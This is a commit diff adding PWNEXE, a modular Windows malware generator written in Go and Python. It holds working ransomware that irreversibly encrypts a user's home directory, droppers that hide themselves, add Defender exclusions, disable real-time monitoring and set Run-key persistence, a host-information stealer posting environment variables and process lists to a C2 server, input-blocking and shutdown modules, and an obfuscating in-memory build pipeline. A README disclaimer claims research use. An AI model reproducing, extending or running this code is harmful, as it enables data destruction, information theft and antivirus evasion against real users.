Version 0.1.0 Basic Malware Generation
This commit is contained in:
72
DAEMONS/bartmoss.go
Normal file
72
DAEMONS/bartmoss.go
Normal file
@ -0,0 +1,72 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func main() {
|
||||
homeDir, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
fmt.Println("Error getting home directory:", err)
|
||||
return
|
||||
}
|
||||
desktopPath := filepath.Join(homeDir, "Desktop")
|
||||
err = filepath.WalkDir(homeDir, func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
fmt.Println("Skipping path due to error:", path, "error:", err)
|
||||
return nil // skip this path, continue walking
|
||||
}
|
||||
if d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if strings.HasSuffix(path, ".bartmoss") {
|
||||
return nil
|
||||
}
|
||||
content, err := ioutil.ReadFile(path)
|
||||
if err != nil {
|
||||
fmt.Println("Skipping unreadable file:", path, "error:", err)
|
||||
return nil // skip this file, continue walking
|
||||
}
|
||||
key := make([]byte, len(content))
|
||||
_, err = rand.Read(key)
|
||||
if err != nil {
|
||||
fmt.Println("Skipping file due to rand error:", path, "error:", err)
|
||||
return nil
|
||||
}
|
||||
encrypted := make([]byte, len(content))
|
||||
for i := 0; i < len(content); i++ {
|
||||
encrypted[i] = content[i] ^ key[i]
|
||||
}
|
||||
err = ioutil.WriteFile(path, encrypted, 0644)
|
||||
if err != nil {
|
||||
fmt.Println("Skipping unwritable file:", path, "error:", err)
|
||||
return nil
|
||||
}
|
||||
dir := filepath.Dir(path)
|
||||
base := filepath.Base(path)
|
||||
nwe := strings.TrimSuffix(base, filepath.Ext(base))
|
||||
nn := nwe + ".bartmoss"
|
||||
np := filepath.Join(dir, nn)
|
||||
err = os.Rename(path, np)
|
||||
if err != nil {
|
||||
fmt.Println("Skipping unrenamable file:", path, "error:", err)
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Println("Error walking the path:", err)
|
||||
}
|
||||
filePath := filepath.Join(desktopPath, "README.txt")
|
||||
message := "YOUR NOTE HERE\n"
|
||||
err = os.WriteFile(filePath, []byte(message), 0644)
|
||||
if err != nil {
|
||||
fmt.Println("Error writing file:", err)
|
||||
}
|
||||
}
|
||||
33
DAEMONS/filedaemon.go
Normal file
33
DAEMONS/filedaemon.go
Normal file
@ -0,0 +1,33 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
port := "8080"
|
||||
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method == "POST" {
|
||||
body, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
fmt.Println("Error reading body:", err)
|
||||
w.WriteHeader(500)
|
||||
return
|
||||
}
|
||||
fmt.Println("[C2] Received data:", string(body))
|
||||
w.WriteHeader(200)
|
||||
w.Write([]byte("OK"))
|
||||
} else {
|
||||
w.WriteHeader(200)
|
||||
w.Write([]byte("C2 server running. Send POST data."))
|
||||
}
|
||||
})
|
||||
fmt.Println("C2 server started on port", port)
|
||||
http.ListenAndServe(":"+port, nil)
|
||||
for {
|
||||
time.Sleep(10 * time.Second)
|
||||
}
|
||||
}
|
||||
64
DAEMONS/spider.go
Normal file
64
DAEMONS/spider.go
Normal file
@ -0,0 +1,64 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func main() {
|
||||
base64String := ""
|
||||
decodeData, err := base64.StdEncoding.DecodeString(base64String)
|
||||
if err != nil {
|
||||
fmt.Println("Error decoding Base64:", err)
|
||||
return
|
||||
}
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
fmt.Println("APPDATA environment variable not found")
|
||||
return
|
||||
}
|
||||
hiddenFolder := filepath.Join(appdata, ".sysdata")
|
||||
err = os.MkdirAll(hiddenFolder, 0755)
|
||||
if err != nil {
|
||||
fmt.Println("Error creating hidden folder:", err)
|
||||
return
|
||||
}
|
||||
outputFile := filepath.Join(hiddenFolder, "syshost.exe")
|
||||
file, err := os.Create(outputFile)
|
||||
if err != nil {
|
||||
fmt.Println("Error creating file:", err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
_, err = file.Write(decodeData)
|
||||
if err != nil {
|
||||
fmt.Println("Error writing to file:", err)
|
||||
return
|
||||
}
|
||||
hideCmd := exec.Command("powershell", "-Command", "attrib +h '"+hiddenFolder+"' ; attrib +h '"+outputFile+"'")
|
||||
hideCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = hideCmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Error hiding folder or file:", err)
|
||||
return
|
||||
}
|
||||
cmd := exec.Command("powershell", "-Command", "Set-MpPreference -ExclusionPath '" + outputFile + "'")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Error executing command:", err)
|
||||
return
|
||||
}
|
||||
startupName := "SysHostService"
|
||||
regCmd := exec.Command("powershell", "-Command", "Set-ItemProperty -Path 'HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '"+startupName+"' -Value '"+outputFile+"'")
|
||||
regCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = regCmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Error adding to startup:", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
16
INTERFACEPLUGS/blackout.go
Normal file
16
INTERFACEPLUGS/blackout.go
Normal file
@ -0,0 +1,16 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
cmd := exec.Command("shutdown", "/s", "/t", "0")
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Failed to shutdown:", err)
|
||||
}
|
||||
}
|
||||
|
||||
func compile() {}
|
||||
22
INTERFACEPLUGS/suicide.go
Normal file
22
INTERFACEPLUGS/suicide.go
Normal file
@ -0,0 +1,22 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
user32 := syscall.NewLazyDLL("user32.dll")
|
||||
blockInput := user32.NewProc("BlockInput")
|
||||
r, _, err := blockInput.Call(1)
|
||||
if r == 0 {
|
||||
fmt.Println("Failed to block input:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("Keyboard and mouse input blocked. Press Ctrl+Alt+Del to unlock (if possible).")
|
||||
for {
|
||||
time.Sleep(10 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
67
QUICKHACKS/icepick.go
Normal file
67
QUICKHACKS/icepick.go
Normal file
@ -0,0 +1,67 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func copyFile(src, dst string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return out.Close()
|
||||
}
|
||||
|
||||
func main() {
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
fmt.Println("APPDATA environment variable not found")
|
||||
return
|
||||
}
|
||||
hiddenFolder := filepath.Join(appdata, ".sysdata")
|
||||
err := os.MkdirAll(hiddenFolder, 0755)
|
||||
if err != nil {
|
||||
fmt.Println("Error creating hidden folder:", err)
|
||||
return
|
||||
}
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
fmt.Println("Error getting executable path:", err)
|
||||
return
|
||||
}
|
||||
targetExe := filepath.Join(hiddenFolder, "syshost.exe")
|
||||
err = copyFile(exePath, targetExe)
|
||||
if err != nil {
|
||||
fmt.Println("Error copying exe:", err)
|
||||
return
|
||||
}
|
||||
exec.Command("attrib", "+h", hiddenFolder).Run()
|
||||
exec.Command("attrib", "+h", targetExe).Run()
|
||||
exec.Command("powershell", "-Command", "Add-MpPreference -ExclusionPath '"+targetExe+"';").Run()
|
||||
startupName := "SysHostService"
|
||||
regCmd := exec.Command("powershell", "-Command", "Set-ItemProperty -Path 'HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '"+startupName+"' -Value '"+targetExe+"'")
|
||||
regCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = regCmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Error creating registry key:", err)
|
||||
}
|
||||
exec.Command("powershell", "-Command", "Set-MpPreference -DisableRealtimeMonitoring $true").Run()
|
||||
fmt.Println("Icepick payload executed.")
|
||||
}
|
||||
84
QUICKHACKS/ping.go
Normal file
84
QUICKHACKS/ping.go
Normal file
@ -0,0 +1,84 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/user"
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"runtime"
|
||||
"bytes"
|
||||
"strings"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func main() {
|
||||
username := ""
|
||||
usr, err := user.Current()
|
||||
if err == nil {
|
||||
username = usr.Username
|
||||
}
|
||||
hostname, _ := os.Hostname()
|
||||
ip := ""
|
||||
macs := []string{}
|
||||
ifaces, err := net.Interfaces()
|
||||
if err == nil {
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagUp != 0 && len(iface.HardwareAddr) > 0 {
|
||||
macs = append(macs, iface.HardwareAddr.String())
|
||||
}
|
||||
addrs, _ := iface.Addrs()
|
||||
for _, addr := range addrs {
|
||||
if ip == "" {
|
||||
if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() && ipnet.IP.To4() != nil {
|
||||
ip = ipnet.IP.String()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
envVars := os.Environ()
|
||||
cwd, _ := os.Getwd()
|
||||
procs := []string{}
|
||||
if runtime.GOOS == "windows" {
|
||||
out, err := exec.Command("tasklist").Output()
|
||||
if err == nil {
|
||||
lines := strings.Split(string(out), "\n")
|
||||
for _, line := range lines {
|
||||
if strings.TrimSpace(line) != "" {
|
||||
procs = append(procs, line)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
data := map[string]interface{}{
|
||||
"username": username,
|
||||
"hostname": hostname,
|
||||
"ip": ip,
|
||||
"macs": macs,
|
||||
"os": runtime.GOOS,
|
||||
"arch": runtime.GOARCH,
|
||||
"env": envVars,
|
||||
"cwd": cwd,
|
||||
"procs": procs,
|
||||
}
|
||||
jsonData, _ := json.Marshal(data)
|
||||
c2url := "http://localhost:8080/"
|
||||
req, err := http.NewRequest("POST", c2url, bytes.NewReader(jsonData))
|
||||
if err != nil {
|
||||
fmt.Println("Failed to create request:", err)
|
||||
return
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
client := &http.Client{}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
fmt.Println("Failed to send data:", err)
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := ioutil.ReadAll(resp.Body)
|
||||
fmt.Println("C2 response:", string(body))
|
||||
}
|
||||
120
README.md
Normal file
120
README.md
Normal file
@ -0,0 +1,120 @@
|
||||
## Overview
|
||||
**PWNEXE** is a modular Windows malware generation framework. It empowers security researchers and red teamers to rapidly build custom malware payloads by chaining together a variety of modules—such as ransomware, persistence loaders, C2 servers, and more—into a single executable. PWNEXE is designed for advanced adversary simulation, malware research, and authorized red team operations.
|
||||
|
||||
> **Warning:** This tool is for educational and authorized security research only. Misuse may be illegal and unethical.
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
- **Modular Payloads:** Chain multiple modules (ransomware, persistence, C2, etc.) into a single EXE.
|
||||
- **Customizable Options:** Configure module and build options (e.g., ransom note, C2 port, EXE name).
|
||||
- **In-Memory Execution:** Optional Rust loader for stealthy, in-memory payload delivery.
|
||||
- **Obfuscation Support:** Optional payload obfuscation via LLVM and Rust.
|
||||
- **Cross-Platform Build:** Uses Go and Rust for robust Windows payloads.
|
||||
- **Fast Build Pipeline:** Output is saved to the `.LOOT` directory.
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
|
||||
1. **Clone the repository:**
|
||||
```bash
|
||||
git clone https://github.com/sarwaaaar/PWNEXE.git
|
||||
cd PWNEXE
|
||||
```
|
||||
2. **Install Python 3.8+**
|
||||
```bash
|
||||
python3 --version
|
||||
# If needed, install Python 3.8 or newer
|
||||
```
|
||||
3. **Install dependencies:**
|
||||
```bash
|
||||
python3 -m pip install --upgrade pip
|
||||
python3 -m pip install -r requirements.txt
|
||||
```
|
||||
4. **Install system dependencies:**
|
||||
- Go (for module compilation)
|
||||
- Rust (for in-memory loader)
|
||||
- Optional: Docker (for obfuscation)
|
||||
- On macOS:
|
||||
```bash
|
||||
brew install go rust
|
||||
# Docker: https://docs.docker.com/get-docker/
|
||||
```
|
||||
- On Linux:
|
||||
```bash
|
||||
sudo apt install golang rustc cargo
|
||||
# Docker: https://docs.docker.com/get-docker/
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
Start the tool:
|
||||
```bash
|
||||
python3 main.py
|
||||
```
|
||||
|
||||
### Command Reference
|
||||
|
||||
- `use <module>` — Add a module to the build chain
|
||||
- `set <OPTION> <VALUE>` — Set build/module options
|
||||
- `show modules` — List available modules
|
||||
- `show options` — Show current build/module options
|
||||
- `build` — Build the final EXE payload
|
||||
- `clear` — Clear selected modules
|
||||
- `delete` — Remove a module from the chain
|
||||
- `exit` — Exit the tool
|
||||
|
||||
### Example Workflow
|
||||
```
|
||||
pwnexe > show modules
|
||||
pwnexe > use daemon/bartmoss
|
||||
pwnexe > set NOTE "Your files have been encrypted! Contact evil@domain.com."
|
||||
pwnexe > use daemon/spider
|
||||
pwnexe > set LHOST 192.168.1.10
|
||||
pwnexe > set LPORT 4444
|
||||
pwnexe > build
|
||||
```
|
||||
- The final EXE will be saved in the `.LOOT` directory.
|
||||
|
||||
---
|
||||
|
||||
## Available Modules
|
||||
|
||||
| Module | Description |
|
||||
|--------------------------|--------------------------------------------------------------------|
|
||||
| daemon/filedaemon | Normal C2 server to receive data |
|
||||
| daemon/spider | Metasploit C2 server (reverse shell/payload delivery) |
|
||||
| daemon/bartmoss | Ransomware builder |
|
||||
| interfaceplug/blackout | Screen blackout utility |
|
||||
| interfaceplug/suicide | Block input (DoS) |
|
||||
| quickhack/ping | Sends back user info to the C2 server |
|
||||
| quickhack/icepick | Adds EXE to persistence and adds exclusion to Windows Defender |
|
||||
|
||||
---
|
||||
|
||||
## Advanced Features
|
||||
- **Module Chaining:** Combine multiple behaviors in one payload.
|
||||
- **Custom Build Options:** Set EXE name, enable obfuscation, etc.
|
||||
- **In-Memory Execution:** Use Rust loader for stealthy delivery.
|
||||
|
||||
---
|
||||
|
||||
## Legal Disclaimer
|
||||
|
||||
PWNEXE is intended for educational purposes and authorized security testing only. You must have explicit permission to use this tool against any system or network. The authors and contributors are not responsible for misuse, damage, or legal consequences. Always follow applicable laws and ethical guidelines.
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions are welcome! Please fork the repository, create a feature branch, and submit a pull request with a detailed description of your changes.
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
MIT License. See the `LICENSE` file for details.
|
||||
300
compiler.py
Normal file
300
compiler.py
Normal file
@ -0,0 +1,300 @@
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
import argparse
|
||||
import shutil
|
||||
import re
|
||||
|
||||
def compile_go(go_path, output_exe):
|
||||
env = os.environ.copy()
|
||||
env["GOOS"] = "windows"
|
||||
env["GOARCH"] = "amd64"
|
||||
result = subprocess.run(["go", "build", "-o", output_exe, go_path], env=env)
|
||||
if result.returncode != 0 or not os.path.isfile(output_exe):
|
||||
print(f"[Error] Go build failed for {go_path}")
|
||||
sys.exit(1)
|
||||
print(f"Built {output_exe}")
|
||||
return output_exe
|
||||
|
||||
def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
|
||||
with open(go_exe_path, "rb") as f:
|
||||
go_bytes = f.read()
|
||||
go_bytes_array = ','.join(str(b) for b in go_bytes)
|
||||
embed_code = ""
|
||||
embed_decl = ""
|
||||
if embed_exe_path:
|
||||
with open(embed_exe_path, "rb") as f:
|
||||
embed_bytes = f.read()
|
||||
embed_bytes_array = ','.join(str(b) for b in embed_bytes)
|
||||
embed_decl = f"const EMBEDDED_EXE: &[u8] = &[{embed_bytes_array}];"
|
||||
embed_code = """
|
||||
// Run embedded EXE first
|
||||
unsafe {
|
||||
memexec::memexec_exe(EMBEDDED_EXE).expect("Failed to execute embedded EXE");
|
||||
}
|
||||
"""
|
||||
rust_code = f'''
|
||||
use memexec;
|
||||
{embed_decl}
|
||||
const GO_PAYLOAD: &[u8] = &[{go_bytes_array}];
|
||||
fn main() {{
|
||||
{embed_code} unsafe {{
|
||||
memexec::memexec_exe(GO_PAYLOAD).expect("Failed to execute PE from memory");
|
||||
}}
|
||||
}}
|
||||
'''
|
||||
temp_dir = tempfile.mkdtemp(prefix="memexec_")
|
||||
try:
|
||||
src_dir = Path(temp_dir) / "src"
|
||||
src_dir.mkdir(parents=True, exist_ok=True)
|
||||
main_rs = src_dir / "main.rs"
|
||||
main_rs.write_text(rust_code)
|
||||
cargo_toml = Path(temp_dir) / "Cargo.toml"
|
||||
cargo_toml.write_text("""
|
||||
[package]
|
||||
name = "payload"
|
||||
version = "0.1.0"
|
||||
edition = "2018"
|
||||
[dependencies]
|
||||
memexec = { git = "https://github.com/DmitrijVC/memexec", version = "0.3" }
|
||||
""")
|
||||
cargo_config_dir = Path(temp_dir) / ".cargo"
|
||||
cargo_config_dir.mkdir(exist_ok=True)
|
||||
config_toml = cargo_config_dir / "config.toml"
|
||||
config_toml.write_text("""
|
||||
[target.x86_64-pc-windows-gnu]
|
||||
linker = "x86_64-w64-mingw32-gcc"
|
||||
""")
|
||||
loot_dir = Path.cwd() / ".LOOT"
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
final_exe = loot_dir / output_exe
|
||||
if os.environ.get('PWNOS_DOCKER_OBFUSCATE', '0') == '1':
|
||||
docker_image = "ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest"
|
||||
user_project_dir = str(temp_dir)
|
||||
docker_cmd = [
|
||||
"docker", "run", "--rm",
|
||||
"--platform", "linux/amd64",
|
||||
"-e", "CARGO_BUILD_JOBS=1",
|
||||
"-v", f"{user_project_dir}:/projects/",
|
||||
"-w", "/projects/",
|
||||
docker_image,
|
||||
"cargo", "rustc",
|
||||
"--target", "x86_64-pc-windows-gnu",
|
||||
"--release",
|
||||
"--",
|
||||
"-Cdebuginfo=0",
|
||||
"-Cstrip=symbols",
|
||||
"-Cpanic=abort",
|
||||
"-Copt-level=3",
|
||||
"-Cllvm-args=-enable-acdobf",
|
||||
"-Cllvm-args=-enable-antihook",
|
||||
"-Cllvm-args=-enable-adb",
|
||||
"-Cllvm-args=-enable-bcfobf",
|
||||
"-Cllvm-args=-enable-splitobf",
|
||||
"-Cllvm-args=-enable-subobf",
|
||||
"-Cllvm-args=-enable-fco",
|
||||
"-Cllvm-args=-enable-constenc"
|
||||
]
|
||||
result = subprocess.run(docker_cmd)
|
||||
if result.returncode != 0:
|
||||
print("[Error] Rust build/obfuscation failed")
|
||||
sys.exit(1)
|
||||
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
|
||||
os.replace(built_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
else:
|
||||
# Native cargo build (no Docker, no obfuscation)
|
||||
result = subprocess.run([
|
||||
"cargo", "build", "--release", "--target", "x86_64-pc-windows-gnu"
|
||||
], cwd=temp_dir)
|
||||
if result.returncode != 0:
|
||||
print("[Error] Native Rust build failed")
|
||||
sys.exit(1)
|
||||
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
|
||||
os.replace(built_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
finally:
|
||||
shutil.rmtree(temp_dir, ignore_errors=True)
|
||||
|
||||
def merge_go_modules(go_files, merged_go_path):
|
||||
"""
|
||||
Merges multiple Go files into one, so their main logic runs in order.
|
||||
Writes the merged Go file to merged_go_path.
|
||||
Automatically removes unused imports.
|
||||
"""
|
||||
all_imports = set()
|
||||
func_bodies = []
|
||||
main_funcs = []
|
||||
used_names = set()
|
||||
func_name_to_body = {}
|
||||
|
||||
def unique_func_name(base, used):
|
||||
i = 1
|
||||
name = base
|
||||
while name in used:
|
||||
name = f"{base}_{i}"
|
||||
i += 1
|
||||
used.add(name)
|
||||
return name
|
||||
|
||||
def extract_functions(src):
|
||||
"""Extract all top-level functions from Go source code using a line-based parser."""
|
||||
funcs = []
|
||||
lines = src.splitlines()
|
||||
in_func = False
|
||||
brace_count = 0
|
||||
func_lines = []
|
||||
func_name = None
|
||||
for idx, line in enumerate(lines):
|
||||
if not in_func:
|
||||
match = re.match(r'func\s+([\w]+)\s*\(', line)
|
||||
if match:
|
||||
in_func = True
|
||||
func_name = match.group(1)
|
||||
func_lines = [line]
|
||||
# Count braces on this line
|
||||
brace_count = line.count('{') - line.count('}')
|
||||
if brace_count == 0 and line.rstrip().endswith('}'): # one-liner
|
||||
funcs.append((func_name, '\n'.join(func_lines)))
|
||||
in_func = False
|
||||
func_lines = []
|
||||
func_name = None
|
||||
elif in_func:
|
||||
func_lines.append(line)
|
||||
brace_count += line.count('{') - line.count('}')
|
||||
if brace_count == 0:
|
||||
funcs.append((func_name, '\n'.join(func_lines)))
|
||||
in_func = False
|
||||
func_lines = []
|
||||
func_name = None
|
||||
return funcs
|
||||
|
||||
for idx, go_file in enumerate(go_files):
|
||||
with open(go_file, 'r') as f:
|
||||
src = f.read()
|
||||
# Extract imports
|
||||
imports = set()
|
||||
import_block = re.findall(r'import \((.*?)\)', src, re.DOTALL)
|
||||
if import_block:
|
||||
for line in import_block[0].splitlines():
|
||||
line = line.strip().strip('"')
|
||||
if line:
|
||||
imports.add(line)
|
||||
else:
|
||||
single_imports = re.findall(r'import\s+"([^"]+)"', src)
|
||||
imports.update(single_imports)
|
||||
all_imports.update(imports)
|
||||
# Extract all top-level functions robustly
|
||||
for func_name, body in extract_functions(src):
|
||||
if func_name == "main":
|
||||
new_name = unique_func_name(f"main_{os.path.splitext(os.path.basename(go_file))[0]}", used_names)
|
||||
# Rename the function
|
||||
body = re.sub(r'func\s+main\s*\(', f'func {new_name}(', body, count=1)
|
||||
main_funcs.append((new_name, body))
|
||||
else:
|
||||
func_bodies.append(body.strip())
|
||||
func_name_to_body[func_name] = body.strip()
|
||||
# Compose merged code
|
||||
merged_code = 'package main\n\n'
|
||||
if all_imports:
|
||||
if len(all_imports) > 1:
|
||||
merged_code += 'import (\n'
|
||||
for imp in sorted(all_imports):
|
||||
merged_code += f'\t"{imp}"\n'
|
||||
merged_code += ')\n\n'
|
||||
else:
|
||||
merged_code += f'import "{list(all_imports)[0]}"\n\n'
|
||||
for helper in func_bodies:
|
||||
merged_code += helper + '\n\n'
|
||||
for func_name, main_body in main_funcs:
|
||||
merged_code += main_body.strip() + '\n\n'
|
||||
merged_code += 'func main() {\n'
|
||||
for func_name, _ in main_funcs:
|
||||
merged_code += f'\t{func_name}()\n'
|
||||
merged_code += '}\n'
|
||||
# Remove unused imports
|
||||
merged_code = remove_unused_imports(merged_code)
|
||||
with open(merged_go_path, 'w') as f:
|
||||
f.write(merged_code)
|
||||
|
||||
def remove_unused_imports(go_code):
|
||||
"""
|
||||
Remove unused imports from a Go source string.
|
||||
"""
|
||||
import_block = re.search(r'import \((.*?)\)', go_code, re.DOTALL)
|
||||
if not import_block:
|
||||
single_imports = re.findall(r'import\s+"([^"]+)"', go_code)
|
||||
for imp in single_imports:
|
||||
if not re.search(r'\b' + re.escape(imp.split('/')[-1]) + r'\b', go_code.split('import')[1]):
|
||||
go_code = re.sub(r'import\s+"' + re.escape(imp) + r'"\n', '', go_code)
|
||||
return go_code
|
||||
block = import_block.group(1)
|
||||
imports = [line.strip().strip('"') for line in block.splitlines() if line.strip()]
|
||||
used_imports = []
|
||||
for imp in imports:
|
||||
# Use the last part of the import path as the symbol
|
||||
symbol = imp.split('/')[-1]
|
||||
if re.search(r'\b' + re.escape(symbol) + r'\b', go_code.split('import')[1]):
|
||||
used_imports.append(imp)
|
||||
if used_imports:
|
||||
new_block = 'import (\n' + ''.join([f'\t"{imp}"\n' for imp in used_imports]) + ')'
|
||||
go_code = re.sub(r'import \((.*?)\)', new_block, go_code, flags=re.DOTALL)
|
||||
else:
|
||||
go_code = re.sub(r'import \((.*?)\)\n', '', go_code, flags=re.DOTALL)
|
||||
return go_code
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Go-to-memexec EXE builder for PWN0S")
|
||||
parser.add_argument("--go_file", type=str, help="Path to Go file")
|
||||
parser.add_argument("--output_exe", type=str, help="Output EXE name (in .LOOT)")
|
||||
parser.add_argument("--embed", type=str, help="Path to EXE to embed and run before this module")
|
||||
parser.add_argument("--go-only", action="store_true", help="Only build Go file to EXE, no Rust wrapping")
|
||||
parser.add_argument("--merge", nargs='+', help="List of Go files to merge and run in order (last arg is output exe)")
|
||||
parser.add_argument("--obfuscate", action="store_true", help="Enable obfuscation (use Docker/Rust)")
|
||||
args = parser.parse_args()
|
||||
if args.obfuscate:
|
||||
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '1'
|
||||
else:
|
||||
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '0'
|
||||
if args.merge:
|
||||
*go_files, output_exe = args.merge
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
merged_go = os.path.join(tmpdir, "merged.go")
|
||||
merge_go_modules(go_files, merged_go)
|
||||
go_exe = os.path.join(tmpdir, "payload.exe")
|
||||
compile_go(merged_go, go_exe)
|
||||
if args.obfuscate:
|
||||
generate_rust_memexec(go_exe, output_exe)
|
||||
else:
|
||||
loot_dir = Path.cwd() / ".LOOT"
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
final_exe = loot_dir / output_exe
|
||||
os.replace(go_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
return
|
||||
if args.go_only:
|
||||
if not args.go_file or not args.output_exe:
|
||||
print("--go_file and --output_exe are required with --go-only")
|
||||
sys.exit(1)
|
||||
compile_go(args.go_file, args.output_exe)
|
||||
return
|
||||
else:
|
||||
if not args.go_file or not args.output_exe:
|
||||
print("--go_file and --output_exe are required for default build path")
|
||||
sys.exit(1)
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
go_exe = os.path.join(tmpdir, "payload.exe")
|
||||
compile_go(args.go_file, go_exe)
|
||||
if args.obfuscate:
|
||||
generate_rust_memexec(go_exe, args.output_exe, embed_exe_path=args.embed)
|
||||
else:
|
||||
loot_dir = Path.cwd() / ".LOOT"
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
final_exe = loot_dir / args.output_exe
|
||||
os.replace(go_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
69
loading.py
Executable file
69
loading.py
Executable file
@ -0,0 +1,69 @@
|
||||
import random
|
||||
import time
|
||||
import os
|
||||
import string
|
||||
import threading
|
||||
from contextlib import contextmanager
|
||||
RED = "\033[38;2;204;103;102m"
|
||||
RESET = "\033[0m"
|
||||
def clear_screen():
|
||||
os.system('cls' if os.name == 'nt' else 'clear')
|
||||
def generate_random_code():
|
||||
first = random.choice(string.digits + string.ascii_uppercase)
|
||||
second = random.choice(string.digits + string.ascii_uppercase)
|
||||
return f"{first}{second}"
|
||||
def generate_random_matrix():
|
||||
return [[generate_random_code() for _ in range(4)] for _ in range(5)]
|
||||
def display_matrix():
|
||||
matrix = generate_random_matrix()
|
||||
for row in matrix:
|
||||
for cell in row:
|
||||
if random.random() < 0.3:
|
||||
print(f"\033[43m\033[93m{cell:^4}\033[0m", end=" ")
|
||||
else:
|
||||
print(f"{RED}{cell:^4}{RESET}", end=" ")
|
||||
print()
|
||||
print()
|
||||
def loading_simulation(duration=5):
|
||||
start_time = time.time()
|
||||
while time.time() - start_time < duration:
|
||||
display_matrix()
|
||||
time.sleep(0.2)
|
||||
if __name__ == "__main__":
|
||||
loading_simulation()
|
||||
def show_loading_screen(loading_message=None, duration=None, print_ascii_art=None, YELLOW="\033[93m"):
|
||||
import sys
|
||||
start_time = time.time()
|
||||
while time.time() - start_time < (duration if duration is not None else 2):
|
||||
clear_screen()
|
||||
if print_ascii_art:
|
||||
print_ascii_art()
|
||||
if loading_message:
|
||||
